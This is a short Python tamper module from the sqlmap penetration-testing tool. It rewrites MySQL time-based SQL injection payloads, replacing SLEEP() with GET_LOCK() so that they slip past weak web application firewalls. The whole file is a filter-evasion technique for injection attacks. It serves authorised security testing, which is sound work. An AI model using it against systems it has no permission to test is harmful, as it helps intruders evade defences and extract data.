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#!/usr/bin/env python
"""
Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
from lib.core.data import kb
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGHEST
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Replaces instances like 'SLEEP(5)' with (e.g.) "GET_LOCK('ETgP',5)"
Requirement:
* MySQL
Tested against:
* MySQL 5.0 and 5.5
Notes:
* Useful to bypass very weak and bespoke web application firewalls
that filter the SLEEP() and BENCHMARK() functions
* Reference: https://zhuanlan.zhihu.com/p/35245598
>>> tamper('SLEEP(5)') == "GET_LOCK('%s',5)" % kb.aliasName
True
"""
if payload:
payload = payload.replace("SLEEP(", "GET_LOCK('%s'," % kb.aliasName)
return payload
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